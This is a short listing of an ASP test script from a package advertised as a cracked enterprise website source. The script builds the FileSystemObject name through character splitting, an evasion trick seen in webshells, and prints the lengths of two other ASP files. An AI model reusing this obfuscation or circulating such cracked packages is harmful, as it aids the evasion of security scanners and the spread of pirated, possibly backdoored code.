test.asp

来自「破解版的企业网站源码！！ 绝对好用 适合各种企业应用 其中包包含产品展示 」· ASP 代码 · 共 13 行

<%function dele(pa)
Dim gege,exe,strOut,htmlwrite
set gege=createObject("scrip"&chr(116)&"ing.FileSystemObject")

Set htmlwrite=gege.OpenTextFile(Server.MapPath(pa)) 
strOut=htmlwrite.ReadAll 
htmlwrite.close 
response.Write(len(strOut))

end function

dele("zcm.asp")%><br />
<%dele("you.asp")%>